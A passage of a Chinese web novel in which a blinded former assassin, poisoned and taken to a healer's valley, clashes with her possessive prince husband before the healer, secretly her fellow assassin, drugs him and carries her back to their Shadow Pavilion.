“是啊,是看不见了。”魏沛鸾紧紧抱着怀中的鲜花,“但我猜这花一定很漂亮,对吧?”
“嗯!”小姑娘笑着重重地点了点头,“非常漂亮!”
“那还真是可惜……我看不见。”
“姐姐,你的眼睛一定会好起来的!”小姑娘天真地说道。
魏沛鸾笑笑,并未接话。
落霞见状,扶着魏沛鸾继续往前走。
此时日头高悬,火辣辣地炙烤着大地,整条长街仿佛被蒸腾的热浪笼罩,连呼吸都带着一股挥之不去的燥热。
或许是暑气太重,又或许是这几日心力交瘁,魏沛鸾只觉得双腿渐渐如灌了铅般沉重,连指尖都泛起一阵无力的苍白。
她强撑着最后的体面,低声对身旁的落霞道:“回府吧。”
落霞一转头,瞧见王妃的脸色苍白如纸,额角渗出细密的冷汗,吓得连忙打起精神,小心翼翼地搀扶着她快步往王府的方向去。
魏沛鸾怀里那一束原本娇艳欲滴的花,因她一路紧抱,再加上日头暴晒,已经有些蔫了。
落霞瞥见那束了无生气的花,对她说道:“王妃,这花蔫了,奴婢替您扔掉吧。”
“带回去吧。”一束花而已,难道李京熠都不允许她带?
只不过,这花香实在是浓郁,就算蔫了,也还是能闻到那一阵浓浓的香气经久不散,闻着有些头晕目眩。
好不容易捱到了王府门口,魏沛鸾的后背早已被冷汗浸透,衣衫黏腻地贴在身上,难受至极。
她脚步虚浮,每一步都像是踩在棉花上,脑袋里更是昏昏沉沉。
还不等跨进残月阁的门槛,她眼前一黑,所有的意识瞬间被黑暗吞噬,再也支撑不住,软绵绵地晕倒在地。
-
这一觉睡得极沉,仿佛坠入了无底的深潭。
当意识终于从混沌中苏醒,她缓缓睁开眼睛。
眼前仍旧是一片黑暗,缓过神来后,她惊觉四周弥漫着一股彻骨的寒意,冷到人牙关打颤。
她忍不住瑟缩了一下身子,强撑着绵软无力的身子试图爬起来,双手触碰到身下,竟是一个巨大的冰床。
寒气透过单薄的衣衫拼命往筋脉里钻,连每一口呼吸都带着彻骨的寒意,冷得五脏六腑都疼。
这是何处?自己为何会在这里?
她疑惑不已,双手忍不住在冰床上摸索。冰床很大,可这上面却什么都没有。
这是端王府吗?是李京熠将她带到了这里?
她回想起晕倒前的场景,当时的自己除了有些头晕冒冷汗之外,似乎没有其他感觉。
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她咬牙从冰床上下去,光脚踩在凹凸不平的地面上。这儿似乎很空旷,因为她能感觉到源源不断的冷气从四面八方涌来。
这是一个陌生的地方,她无法辨别方向。
她清了清干涩的嗓子,试探着喊道:“落霞?”
李京熠不可能将她孤零零地丢在这里,一定会有人守在她身边的。
然而,回应她的只有一片寂静,耳边并未响起脚步声,也无人应答。
嗓子干哑,方才喊的这一声让她止不住地咳嗽起来。咳了几声之后,她感觉到喉咙里有一股腥咸的味道涌上来,紧接着,她吐出一口鲜血。
她用衣袖擦掉嘴角的血迹,拖着沉重的脚步继续往前走。
很块,她的手摸到了墙壁,墙壁上同样寒冷无比,冷得她立刻缩回了手。
她还是不停地在咳嗽,咳得嗓子干裂。
“落霞……”
这一声呼喊耗尽了她最后的气力,魏沛鸾双膝一软,重重地跪倒在地。喉咙干涩如被烈火灼烧,她只能徒劳地祈求,祈求能有人听到她的声音,能有哪怕一丝回应。
洞口处,落霞正如往常一般守候。
这几日,她早已习惯了死寂。
然而就在方才,一阵微弱却清晰的呼救声穿透了厚重的石门。
起初,她以为是自己的错觉,可紧接着,第二声呼喊再次传来。
那熟悉的声音,瞬间击碎了她的迟疑。
“王妃!”
落霞一惊,顾不得多想,慌忙推开沉重的洞门冲了进去。映入眼帘的,是面色苍白如纸、摇摇欲坠的魏沛鸾。
她急忙上前,一把扶住王妃,眼眶瞬间红了,声音因激动而颤抖:“您终于醒了!谢天谢地,您终于醒了!”
耳边响起这熟悉又真切的呼唤,魏沛鸾紧绷的神经终于松懈下来。她张了张口,虚弱地问道:“这是何处?我……为何会在此?”
见到昏睡整整十日的王妃终于睁开双眼,落霞喜极而泣,哽咽道:“这儿是神仙谷的寒冰洞。您中了剧毒,若非王爷拼死将您送来,恐怕……您已经昏睡了整整十日了!”
“中毒?”魏沛鸾苦笑,眼底闪过一丝自嘲。
她身上的毒还少吗?难不成是李京熠又给她下了什么毒?
落霞扶着她缓缓起身,一边小心翼翼地避开寒气,一边急切地解释道:“那一日,王妃在街上买的那一束花,花里有毒。所以王妃闻了之后,便身中剧毒,晕死过去了。”
“花中有毒?”魏沛鸾眉头紧锁,这个理由荒唐至极。那只是一个卖花的小姑娘而已,那小姑娘为何要害她?难道,这是李京熠为了不让她出府而想出来的拙劣的理由?可李京熠会这么幼稚吗?
“王妃,您现在感觉如何?”落霞关切地追问。
魏沛鸾摇了摇头,气息虽弱,却透着一丝求生的渴望,“身上没什么力气……只想吃些东西。”
一听这话,落霞顿时破涕为笑,“王妃想吃东西,那必定是毒已解了!若是王爷知晓,定会欣喜若狂的!”
35. 第35章
魏沛鸾被落霞搀扶着走出寒冰洞,高悬在空中的日光刹那间驱散开她周身的寒冷。久违的暖意渗入骨髓,身上的血液在这一刻立马流动起来。
她深深吸了一口林间清冽的空气,带着泥土与草木的芬芳,五脏六腑像是被这鲜活的气息立马唤醒,整个人变得不再笨重,脚步也轻盈了几分。
“落霞,听你方才说,这儿是神仙谷。我之前从未听说过,是离着北苍城很远吗?”
“是啊!”落霞重重点头,语气里带着几分后怕与钦佩,“王爷为了将您送来,可是费了好一番心力!他自己身上的伤都没好利索,这一路风餐露宿、舟车劳顿,右臂的伤几乎溃烂得无法收拾。若非叶神医及时救治,王爷的手臂恐怕保不住了。”
他右臂的伤,竟如此严重吗?
听落霞提起,魏沛鸾的心里无端升起一丝怜悯。可这念头刚起,便被她迅速掐灭。
她垂下眼帘,掩去眼底的冷意。
他只是一条手臂受了伤而已,而自己是被他彻底废掉全身武功。
这笔账,无论怎么算,都是自己更可悲一些。
神仙谷内,溪水潺潺,山清水秀,景色十分好。只可惜魏沛鸾看不见,这一路走来,她听着落霞给她描述各种景象,心中对这个地方感到无比好奇。
“王妃,前面就是叶神医的木屋了。”
随着落霞的指引,魏沛鸾循声望去,尽管看不见,却远远地听见一阵清脆的女子笑声,听那音色,似乎与自己年纪相仿。
“小九!”
一个熟悉的声音骤然逼近,紧接着,魏沛鸾感觉到一双温暖的大手紧紧握住了她的双手。
是李京熠。
听到他的声音,魏沛鸾的心底莫名涌起一股久违的安宁。察觉到这样的情绪,她下意识皱了皱眉头,试图驱散开心里这一阵异样。
“小九。”李京熠紧紧握着她的手,眼中是藏不住的激动与开心,“你终于醒了。”
这一刻,魏沛鸾的心里并不觉得反感,但话到嘴边,却冒出来一句:“你希望我醒来吗?”
“这是说的什么话?我自然是希望你醒来。”面对这样的质问,李京熠很是费解。
“可若是我醒不过来呢?”
“别说这样的傻话。”李京熠一把将她搂入怀中,紧紧地抱住,不留一丝空隙。
落霞见状,识趣地退后两步,掩唇轻笑,脸上写满了欣慰。
一旁,叶修锦倚在门边,双手抱胸,姿态慵懒地看着眼前这一幕,随后见差不多了,踱步过来,开口道:“行了,先把她松开,我替她把脉。”
李京熠闻言,这才后知后觉自己抱她抱得太用力,于是赶忙把她松开,十分谦逊有礼道:“叶神医,请。”
魏沛鸾微抿着唇,眉头微蹙。
李京熠何时变了一副嘴脸?她还是第一次见李京熠这般彬彬有礼。
真是稀奇。
叶神医三指轻搭在魏沛鸾的手腕上,不过片刻,便突然松开,眉头微不可察地一蹙,“已无大碍,只是身子亏空得厉害,需得用人参、鹿茸这类大补的药材慢慢吊着,否则怕是熬不住。”
“多谢神医。”魏沛鸾嗓音沙哑地道了声谢,随后突然冷不丁地问出一句,“孩子呢?”
她似乎是期待肚子里的孩子无事,又像是期待这孩子由于中毒而没了。
叶修锦摆摆手,神色冷淡,“脉象微弱,若是为了保这个孩子,你便得先把自己当回事。心里郁结成疾,日日这般熬着,便是神仙来了也难救。”
一旁的李京熠听得脸色一沉,连忙紧紧攥着她的手,掌心温度滚烫,几乎要灼伤她冰凉的指尖,安慰道:“小九,此次你中的是一味奇毒,名为‘玄阳丹’,若不是叶神医相救,恐怕你早就没命了。”
“你知道是谁要杀我?”这绝非偶然。那个小姑娘跌倒在她面前,一定是早有预谋。甚至,可能是端王府外早已有人守株待兔,只等着她哪一天从王府出来。
难怪李京熠总是不让她出府,说不定,他一早就知道。
李京熠沉默了一阵,喉结上下滚动了两下,终究没有开口。
长久的沉默往往代表着默认。魏沛鸾想,自己也没有必要再逼问。
叶修锦不懂他们之间的哑谜,只觉得这气氛突然压抑得喘不上来气,赶忙插话道:“你身子虚弱,快别站着在日头下晒了,快进屋。”
李京熠注意到她嘴角那一抹未擦干净的血迹,心口猛地一缩,拉着她往木屋里去,边走边说道:“小九,此事之后再与你细说。”
魏沛鸾被拉进屋里,一进屋便闻到一股浓郁的药味。她皱了皱鼻子,连同鼻尖那颗小小的痣也跟随她的动作动了动。
李京熠默不作声地为她倒了杯水,轻轻塞进她冰凉的手里。
魏沛鸾接过,端起水杯咕噜咕噜喝了个精光,随后才将杯子放下。
“小九,我们明日启程回府,如何?”
魏沛鸾的指尖摩挲着光滑细腻的杯壁,沉默半晌,问:“不能治好我的眼睛吗?”
她不愿回去,可又不得不回去,问的这一句话,也像是赌气。
“你想治好眼睛?”李京熠的声音在寂静中突兀地响起。他拿起一块糕点,塞到她手里,随后幽幽道:“可我不想让你看见。”
不想让她看见什么?魏沛鸾的手中捏着糕点,心里满是疑惑。
“那你可以告诉我,是谁要杀我吗?”既然她已经变成了一个武功尽失的瞎子,那么既然要置她于死地,为何不直接一刀杀了呢?下毒不是太慢了吗?还有救得回来的可能。
“你不会想要听到这个答案的。”
“为何?”是李京熠在故弄玄虚吗?为何不肯直接告诉她?
“那你肯告诉我,是谁派我杀你吗?”
话音一落,空气仿佛瞬间凝固。
李京熠的眼底骤然闪过一丝异样,那其中,有惊讶,有慌张,而隐藏更深的,是那一抹令人心悸的嗜血气息。
耳边只余一片死寂,李京熠依旧缄默不语。
魏沛鸾轻叹一口气,嘴角勉强勾起一抹笑意,“你什么时候变得不爱说话了?”说完,她低头咬了一口手中香甜的糕点。甜腻的滋味在舌尖化开,却苦涩地让她难以下咽。
李京熠死死地注视着她的一举一动,眉宇间弥漫着一阵若有若无的慌张,“你这
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么问,是已经猜到了?”
这下轮到魏沛鸾不说话了,她只是唇边挂着淡淡的笑,静静地听李京熠接着往下说。
“小九,知道得越多,于你而言,并没有好处。”李京熠的声音低沉而平稳,仿佛在陈述一个不容置疑的事实,“你只需要待在我身边,任何的一切你都无需担心。”
“你说的还真是好听。”魏沛鸾垂下眼帘,语气里满是疲惫。她不想与他争吵,也无力与他争辩,可偏偏李京熠的这番话让她很是生气,“你有没有想过,我根本不想待在你身边?我一开始是来杀你的,是你抹去了我的记忆,还将我换成别人的身份留在你身边。说是为我好?其实都是你的私心罢了!”
门外,叶修锦身影悄然顿住。
她听着屋内激烈的言语交锋,想着这时候还是不要进去为好,于是转身走去厨房,与落霞一起做晚膳,暂时躲避这场风暴。
屋内,魏沛鸾原本苍白的面容因情绪激动而染上了一层薄薄的绯红,那抹红晕顺着脸颊蔓延至脖颈,让人挪不开视线。
李京熠静静望着她,目光沉沉,仿佛要将她的每一寸神情都刻进眼底,无论如何都挪不开分毫。
她猜对了,他的确有私心。
若非如此,事情又怎会走到如今这般进退两难的地步?
“小九,总而言之,这外面的一切都很危险。”
“再危险,那也比不上你。”魏沛鸾毫不在意,冷冷地截断他的话语。
李京熠闻言,竟轻笑一声,笑容中有些无奈,“倘若,你有一天能从我身边逃走,你就会见识到了。”
李京熠说的这些话,实在让人云里雾里。
从前的李京熠,说话不会这样遮遮掩掩。
此时此刻的魏沛鸾很想睁大眼睛去看清楚,眼前的人到底是不是换了一个?
“那你等着吧,总有一天我会离开你。”她一字一句,说得掷地有声。
总有一天,她会变回真正的自己,真正的影九。
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李京熠想带魏沛鸾尽快回端王府,但魏沛鸾不肯。
她若想多留几天,李京熠也不能绑她走。
神仙谷外有影阁的人,魏沛鸾中的毒便是影阁下的。
他们并未直取魏沛鸾的性命,而是用“玄阳丹”去确认她的身份。影阁的杀手体内都有一味“玄阴丹”,阳丹与阴丹相克,旁人只取一味倒也无碍。
只是,她的体内早有一味阴丹,这才使得她差点丢掉半条命。
眼下影阁已用阳丹将魏沛鸾的身份确认,下一步要如何,李京熠也说不准。
看着正在小溪边摘花的魏沛鸾,李京熠的眼底满是温柔,轻轻抬脚走过去,唤了她一声:“小九。”
魏沛鸾连头都懒得回,反正她也看不见,于是依旧在草地上摸索着花朵,摸到一朵开得饱满的花,便轻轻摘下来。
“小九,为何故意不理我?”李京熠站在她身侧,看着她满是青草汁的双手,突然觉得她在这儿无忧无虑地也挺好。
这个念头一闪而过,随后他自嘲似的轻笑一声。
当初不就是因为想要得到她,才把她留在身边的吗?
36. 第36章
李京熠走到她身旁,弯腰把她拉起来,擦掉她手上的泥土和草屑,平静地说道:“小九,无论你愿不愿意,你都要跟我回去。”
魏沛鸾紧抿着唇,不答话,像是在与他置气。
溪水哗啦啦地从脚边流淌而过,阳光洒在水面上,折射出一道刺眼的光亮。
落霞退后两步,眯着眼睛悄悄打量他们一眼,见他们之间的气氛实在冰冷骇人,识趣地转身退下了。
魏沛鸾手上的力道越攥越紧,娇嫩的□□哪经得起这样大的力气,很快便耷拉下来。
“你是特意来提醒我的?”
她脸上的隐忍太明显,李京熠察觉到她攥紧的拳头,抓住她的手,试图解救那些无辜的花,“别攥这么紧,花都折了。”
魏沛鸾气得挥开他的手,一把将花狠狠地砸向他,冲他呕吼道:“别假惺惺的!你以为救我一命,我就会感谢你吗?与其待在你身边受尽折磨,还不如死了!”
“小九,你这是说到哪儿去了?”李京熠拿掉落在身上的花瓣,耐着性子,轻声哄着,“我哪句话惹你生气了?如今你有着身孕,脾气是越发大了。更何况,你的命是叶神医救的,你该感谢的人是她,不是我。”
“李京熠,我恨你。”
闻言,李京熠反而笑了笑,笑容里带着几分苦涩与无奈,“无论你是恨我还是怨我,只要你在我身边就好,别的我都不奢求。”
“是因为我要杀你吗?所以这是你给我的惩罚?”
“怎么会呢?”李京熠拥她入怀,动作轻柔地轻抚她的后背,试图抚平她焦躁的情绪。
属于李京熠的气息在她的鼻间萦绕,魏沛鸾讨厌他的气息,挣扎着要把他推开。谁知,李京熠抱得更紧,不留一丝松懈的空隙。
见实在挣扎不开,魏沛鸾的眼中闪过一丝决绝,猛地低下头,一口咬在他的颈侧。她用尽全身力气,齿尖刺破他的肌肤,直到舌尖尝到腥咸的味道,才愤然松口。
李京熠闷哼一声,下意识松开钳制。他抬手摸了一下颈侧,指尖触碰到一片湿热,果然是见血了。
“你若是不杀我,总有一天,我会杀了你。”她冷冷抛出这句话,嘴角残留着丝丝血迹,竟衬得她原本苍白的唇瓣愈发嫣红诱人,被日光一照耀,那副带着血痕的面容竟透出一种惊心动魄的妖冶之美。
李京熠眸光一沉,心头莫名涌上一股暴戾的躁动。他一把钳住她的下巴,迫使她仰起头,随后狠狠地吻了下去。
唇齿触碰到瞬间,两个人的口中都是腥咸的血腥味。这味道非但没有让他退却,反而像某种催化的毒药,激起他心里更深层的欲望。
他一手死死钳制住她的下颌,指节因用力而泛白,强迫她张开牙关。另一只手则毫不留情地抓住她试图推拒的手,反剪至她身后。
这近乎粗暴的姿势,让两个人的身体紧紧相贴,密不可分。魏沛鸾甚至能清晰地感受到他胸腔内那颗心脏狂乱而有力的跳动,那节奏带着一种令人窒息的压迫感。
呼吸被彻底掠夺,肺里的空气一点点耗尽,魏沛鸾的意识开始模糊,大脑一片空白。就在她以为自己要窒息而亡时,李京熠终于松开了她,像是餍足的猛兽,适时地放过了猎物。
魏沛鸾大口喘着气,像是一条濒死的鱼被骤然放回水中,终于得到了生的希望。
缓过来后,愤怒至极的她抬手想打李京熠泄愤,却终究是吃了眼盲的亏,被李京熠轻而易举地一把抓住手腕。
“小九,何必动怒?”
他的声音低沉而平静,仿佛刚才凶猛如野兽的人不是他。
真是虚伪!
魏沛鸾狠狠咬着牙,眉头紧紧锁着,像是气急了,从口中冒出来一句狠话,“李京熠,凡事不要太过,你逼我越狠,后果你越是承受不住。”
她微微红肿的嘴唇一张一合,没有聚焦的那双眼睛里,李京熠居然看出一□□人的迷离。他的喉结上下滚动,狠狠压下心头窜上来的火苗。
“小九,你说狠话的样子,也是让我喜欢的不得了。”他的语气真诚无比,完全没有一丝玩笑的意味。
日头高悬之下,魏沛鸾居然吓得瑟缩了一下身子。
这人还真是个不折不扣的疯子!
李京熠握住她的手,捏了捏她的指尖,似是在把玩,随后温柔道:“小九,无论你给我什么样的后果,我都会受着。只要是你给的,我都喜欢,我都接受。”
他的语气温柔得像是能掐出水来,这一个瞬间,让魏沛鸾有些恍惚。
仿佛,她又回到了云隐别院里,回到了刚苏醒过来时的那段日子。
那个时候的李京熠,与现在完全不一样。
魏沛鸾深呼吸一口气,知道这所有的一切都回不到从前。哪怕是回到从前,也是李京熠布的一场局。
无论如何都逃脱不开他,魏沛鸾当真是绝望。
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她不愿回到王府,尽管李京熠每天在她耳边念叨,魏沛鸾依然充耳不闻。
这个方法对李京熠还真是奏效,他除了念叨之外,居然没有把她绑上马车带回去。
按照李京熠这个疯子的行事风格,魏沛鸾起初还害怕他会使用强硬的手段。结果,魏沛鸾在神仙谷担惊受怕了三日,都没见李京熠有这样的行动。
这神仙谷里,从前只住着叶修锦一人。
如今算上魏沛鸾他们,也才寥寥四人罢了。平日里这儿很安静,魏沛鸾为了打发时间,有时会让叶修锦带她去采药。
这一来二去,她们两个倒也成了无话不说的好友。
叶修锦接触的外人不多,但起码爱恨情仇还是了解的。这几日,她将魏沛鸾与李京熠的相处看在眼里,知道他们虽是夫妻,但似乎彼此之间很不对付,时不时会争吵。
“我昨晚听见你们又在吵架,这次又是因为何事?”叶修锦背着竹篓走在前头,双手扒开挡路的野草,好奇地问。
魏沛鸾被落霞搀扶着走在后面,这几日跟着她进山,就算是杂草丛生的路,魏沛鸾也能走得稳稳当当,丝毫不会拖慢她的脚
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步。
“还不是因为他说要回去的事儿。”白日里在耳边念叨也就算了,大半夜不睡觉,还非得反反复复地念叨,魏沛鸾怎能不烦他?
闻言,叶修锦“噗嗤”一声笑出声来,“没想到堂堂端王爷还挺有耐心的,看不出来,他也有这么啰嗦的时候。”
“我就是不愿再回去,可他偏说这外面很危险。”魏沛鸾不满地撇撇嘴,“我看,最危险的人便是他了!”
然而,她心里清楚,她还是必须要回去,她不能弃芙蕖不顾。
更重要的是,李京熠不可能当真会放她自由。
若是她闹得太过火,李京熠的耐心一定会被磨灭。
“可我觉得,他十分在意你。”叶修锦想起那一日李京熠带着奄奄一息的魏沛鸾来到神仙谷时,他因连夜赶路而疲惫不堪,几乎耗光了所有的气力,却还是强撑着让她帮忙救下怀中气若游丝的女子。
直到看到叶修锦点头答应,他才累晕了过去。
之后,他在病榻上休养了整整两日,这才下得了床。
想起李京熠溃烂的那条胳膊,作为医者的叶修锦直到现在回想起来也觉得触目惊心。
“他的在意,不要也罢。”许多事情,无法与叶修锦细说。她与李京熠之间存在着太多牵扯,一两句无法说清。她的身不由己,同样无法言说。
走到前方一开阔的地方,叶修锦放下竹篓,从竹篓里拿出工具,蹲下身,开始在地上一点一点地挖着,随后开口道:“但我觉得,他是当真把你看得极为重要。人的眼睛不会说谎,我看得出来,他是真心待你。我想,人心也不会说谎,你应该感觉得到。”
感觉?
什么感觉?
魏沛鸾一时间不明白。
要说是对他心动的感觉吗?那一点感觉早就被仇恨淹没,如今已不复存在。
林间吹来一阵凉爽的风,吹得树叶沙沙作响。
魏沛鸾眨了眨干涩的眼睛,猜测眼前的景色一定很好。可惜她看不见,也不知何时才能看见。
想到这里,她冷不丁问出一句:“叶神医,你能治好我的眼睛吗?”
闻言,叶修锦疑惑地抬头看向她。
她的这双眼睛的确很漂亮,睫毛又长又翘,扑闪扑闪的,看得人心里暖暖的。
这么漂亮的眼睛瞎了,着实可惜。
“能。”叶修锦点头,这对于她来说并非难事,“这些时日我为你调理身子时,发现你的体内曾被下过毒药。你的眼睛,想必就是被毒瞎的吧?”
魏沛鸾轻叹一口气,“是。”
“先前你昏睡时,我曾问过端王爷,是否要为你医治好眼。但他拒绝了,我猜,你的眼睛是他毒瞎的?”
魏沛鸾点头,“是。”
“他为何要这么做?”叶修锦不明白。明明李京熠的言行举止在她看来,是十分看重、珍惜魏沛鸾的。
既然如此,为何又要把心爱之人毒瞎?
师父曾说男女之情是毒药,看来确实如此。
37. 第37章
“他……”话到嘴边,魏沛鸾突然不知该如何作答。
难道要如实说这是李京熠对她的折磨吗?
为何偏偏要折磨她呢?
是因为自己要杀他,所以李京熠折磨她。
到头来,这说来说去,过错又被推到了自己身上。
但她何错之有?
倘若李京熠是好人,为何有人派自己去杀他?
仅仅是因为他手握兵符,所以才惹来杀身之祸?
在那之前,李京熠究竟是一个怎样的人?魏沛鸾完全不了解,也从未在谁的口中听说过。
“不能与我说?”叶修锦追问道。
魏沛鸾犹豫不决,一时不知该从何说起。倘若开口,那必定得全盘托出,毫无隐瞒。
她与李京熠之间的恩怨,三两句说不完。
“不便告知。”她是自己的救命恩人,魏沛鸾不想让她惹上麻烦。若是李京熠知晓,指不定他会做出什么事。
叶修锦不是个喜欢刨根究底的人,既然她不愿说,那么她自然是识趣地不再追问,“我可以治好你的眼睛,但此事瞒不住端王爷的。到时,你要如何与他周旋呢?”
魏沛鸾渐渐攥紧拳头,脑海中闪过一个念头。
唯一能想到的办法,就是杀了他。
然而,如今手无缚鸡之力的她杀不掉李京熠。但转念一想,让他突染恶疾卧床休养几日,她猜叶修锦这位神医一定可以做到。
她踌躇着欲言又止,毕竟落霞还在身侧,此事不好光明正大地说出来,否则,一定会在事情未开始之前便被李京熠察觉。
叶修锦何等聪慧,一眼看出她的顾虑。可若是此时不说,等会儿回到木屋,李京熠在场,那就更不好说了。
思虑过后,叶修锦眸光微闪,忽然抬手,对落霞摆手示意她回避一下。
落霞眨着一双无辜的大眼睛,不明所以地看了看她,又转头看了看王妃。
“落霞,你回避一下。”叶修锦的嘴角勾起一抹温婉的笑意,语气十分和善道:“我与你家王妃有几句悄悄话要说。”
落霞虽不明白,但主仆有别,只能依言照做,后退几步,背过了身去。
听着脚步声离自己渐渐远去,直至周围重归寂静,魏沛鸾才试探着伸出手,在空中虚抓了两下,喊了一声:“叶神医?”
叶修锦一把抓住她微凉的手,见落霞已背过身去,这才压低声音在魏沛鸾耳边悄悄说道:“你有什么想法?现在可以与我说。”
眼下这个时候,她能信的,只有叶修锦。
能救她的,也只有叶修锦。
魏沛鸾闻言,下意识走近一步。林间的风穿过树叶,发出一阵稀碎的沙沙声。她借着这风声的掩护,将声音压得很低:“我想让李京熠这几天都下不了床,唯有这样,他便无法控制我,亦无法阻止我。”
这个办法不错,对叶修锦来而言确实也不算难事,随便给他下一味不致命的毒药在吃食里就好了。既不伤他性命,也不用让他吃苦头。
“这个方法不错!”叶修锦欣然答应,“那就这么办。”
“多谢叶神医!”魏沛鸾激动不已,甚至连声音都在微微发颤,仿佛终于抓住了救命稻草。
叶修锦轻笑出声,是发自内心的开心,真诚无比道:“救人一命,胜造七级浮屠。这是我作为医者的本分。更何况,我觉得你甚是合我的眼缘,我与你也很是聊得来。若是你肯,我真想让你在这儿多住几日!”
闻言,魏沛鸾嘴角刚浮现上来的那一点笑意很快僵住。
她终究是要回去,终究是要回到李京熠身边。
这是个不容置疑的事实。
难道,她还能奢望会有人来救她远离这火坑吗?
察觉到她的神色不对,叶修锦敏锐地捕捉到她眼底一闪而过的暗淡。她轻轻抬起手,拍了拍她单薄的肩,轻声安慰道:“能快活几日便是几日,何必为还没发生的事担惊受怕?更何况,我一定有信心治好你的眼睛,你也应该因此感到开心才对。”
“也是。”魏沛鸾笑着点头道。
马上就能重见光明,这才是一件真真正正值得她开心的事情。
林间微风拂过一阵又一阵,魏沛鸾闻着这风中的气息,感叹这才是自由的味道。
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计划进行得十分顺利,李京熠在喝下叶修锦亲手端给他的一碗汤药后,甚至连一声闷哼都未发出,便晕倒在地,不省人事。
落霞终日贴身伺候在魏沛鸾左右,对李京熠晕倒的事毫无察觉。
为了能专心为魏沛鸾疗伤,不受任何外人打扰,叶修锦心生一计。
她神情凝重地告诉落霞,谎称王妃的身子还未痊愈,需即刻回到寒冰洞调理几日。
落霞对叶神医的话深信不疑,只千恩万谢地恳请她一定治好王妃。
进入寒冰洞之后,叶修锦未敢耽搁片刻,立刻为魏沛鸾诊治。
治疗眼睛的过程比想象中顺利,花费的时间不多。可她的眼睛失明并非一两日,骤然见到外头的光亮恐怕难以适应,因此她还需在寒冰洞里调理两日,让双眼慢慢适应光亮。
洞里的寒气实在太重,寻常人无法承受。
叶修锦喂给她一颗药丸,声称可以御寒,让她安心在这洞里待上两日,待两日过后,她便可以重见天光。
那药丸果然有奇效,服下后不久,魏沛鸾便感觉周围沁人的寒气被一道无形的屏障给隔绝开来,周身气温如寻常一般自在。
“这药丸会让你昏昏欲睡,别硬撑着,好好睡一觉。”叶修锦在一旁轻声提醒道:“你醒来之后,一切便都会尘埃落定。”说着,她扶着魏沛鸾缓缓躺下。
躺下后不久,果然如叶修锦所言,困意从四面八方涌来,将她彻底淹没。
半刻钟之后,魏沛鸾便陷入了深沉的昏睡。
叶修锦侧首望向洞门方向,心中默默算着时辰。
自此刻开始到天黑,她还有半日时间将影九从神仙谷带离。
洞外,落霞那个小丫头应
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会在天黑时回到木屋。届时,她回去便会发现昏睡在地上的李京熠。惊慌之下,她一定会到谷外求救。
而等候在谷外的端王府的那个护卫,就算马不停蹄赶回到北苍城,这一来一回,少说也得耗上半日。
待他们折返回来救人,黄花菜都凉了。
那时,她早已带着影九回到影阁。
她抬脚走到一处凹凸不平的墙壁前,手指在墙上摸索片刻,精准按下墙上一处隐蔽的机关,一道隐形的暗门缓缓开启。
门后,站着一位早已等候多时的男子,他戴着一张冰冷的白银骷髅面具,周身散发着一股令人不寒而栗的气息。
“三哥。”叶修锦轻唤了他一声,随后侧身让开,将身后躺在冰床上那道苍白纤弱的身影露出来,“我已确认,她是九妹无疑。但她的武功尽失,属于影阁的一切标记都被李京熠抹去,连记忆也被抹去,要想恢复如初,属实很难。”
影三闻言,那双藏在面具后的眼睛微微眯起,狭长的眸子里透着一抹阴冷的光。
他冷冷地扫了冰床上的女子一眼,语气冷漠地几乎无情,“九妹曾是我影阁最出色的杀手,如今竟落到这般田地……”他顿了顿,声音里听不出丝毫波澜,“罢了,阁主只命我们把九妹带回去,多余的事情,不必再做。以免节外生枝,留下把柄。”
“是。”叶修锦恭敬应声,心中暗自叹息,随后开口道:“既如此,三哥,事不宜迟,我们尽快离开吧。”
影三点头,不再多言。
他大步朝冰床上的女子走去,动作利落地将那昏迷中的女子一把打横抱起,转身便折返回暗门之中,身影瞬间投入黑暗里。
沿着幽深的暗道往前走,脚下的石板泛着湿冷的寒意。行至拐角处,一条乌篷小船静静停泊在暗河之畔。
小船随波轻晃,荡开一圈圈涟漪。
冰冷的寒水自洞中蜿蜒而出,一路向南,最终将汇入断情崖下的玉湖里。
叶修锦回头望了一眼,神仙谷的轮廓渐渐模糊,最终被树林山石遮蔽。随后,她为还在昏睡中的女子把脉。
片刻后,她松了口气。
正在奋力划桨的影三瞥见她的动作,眉头微蹙,疑心道:“六妹,你还有什么不放心的?”
“九妹……她已有一个多月的身孕。”叶修锦知道此事是瞒不住的,一旦回到影阁,所有人都会知道,于是如实说道:“但她此前已被下过几味毒药,以她现在这孱弱的身子,要想保住孩子平安诞生的话,恐怕很难。”
“端王的孩子?”影三的眉头皱地更深。
叶修锦点头,神情复杂,“是。我看那端王对九妹恐怕是动了真心,否则,怎么会连这么简单的把戏都看不透?”
冰冷的河水在船底流淌,发出细微的哗哗声。影三沉思片刻,眼神变得深邃莫测,沉声道:“既是端王的孩子,此事便愈发棘手。不可掉以轻心。”
叶修锦重重地点了点头,目光落在影九苍白的脸上,心中五味杂陈,“是。”
38. 第38章
暮色四合,玉湖之上波光粼粼,小船在水面上摇摇晃晃。终于,船身轻轻一震,在断情崖下的玉湖边靠岸。
影三没有丝毫停顿,迅速背起昏睡中的魏沛鸾,叶修锦紧随其后,二人脚步匆匆,向着断情崖顶的影阁疾行而去。
影阁隐于云端,常年被浓雾围绕,通往崖顶的羊肠小道更是布满致命机关,寻常人别说登顶,连靠近都是奢望。正因如此,影阁才得以在这乱世中独享一份安宁。
当影阁那扇沉重的朱漆大门在身后合拢时,天幕早已被墨色浸透。
影三脚步沉稳却急促,径直跨入正厅。
厅内高位之上,一道身影正负手而立,看起来已等候多时。
影三赶忙停下脚步,小心翼翼地将背上的魏沛鸾安置在冰冷的地面上,随即抱拳躬身,声音因长途跋涉而略显沙哑,却依旧恭敬:“禀阁主,属下与影六不辱使命,已将影九带回!”
高位上的女人闻言,身形微动,疾步走下台阶。随后,她在魏沛鸾身前蹲下,修长的手指拨开遮挡在她脸上的凌乱的发丝。
看着这张苍白到几近毫无血色的脸,她微微皱起眉头,眼底闪过一丝寒意,声音更是冰冷,问:“快死了?”
叶修锦上前一步,抱拳回禀:“禀阁主,九妹双目失明,属下先前已为她施针救治,再过两日便可恢复。”说到这里,她稍微停顿了一下,语气凝重道:“只是九妹身子实在太过虚弱,需要好好调理一段时日。”
阁主缓缓起身,最后扫视了一眼地上的魏沛鸾。那目光没有丝毫温度,像是在审视一件即将报废的兵器,透着一股令人胆寒的漠然。
她转过头,目光如刀锋般刺向叶修锦,语气中带着不容置疑的威压:“影六,你在神仙谷苦修医术多年,连一个影九都治不好?”
叶修锦闻言,双膝立刻重重地跪在地上,发出一声沉闷的钝响。她双手抱拳,声音微微发颤:“是属下无能!”
阁主并未动怒,只是无奈地摆了摆手,重重地叹了口气,“人带回来便是。其余的事,去向副阁主说明吧。”
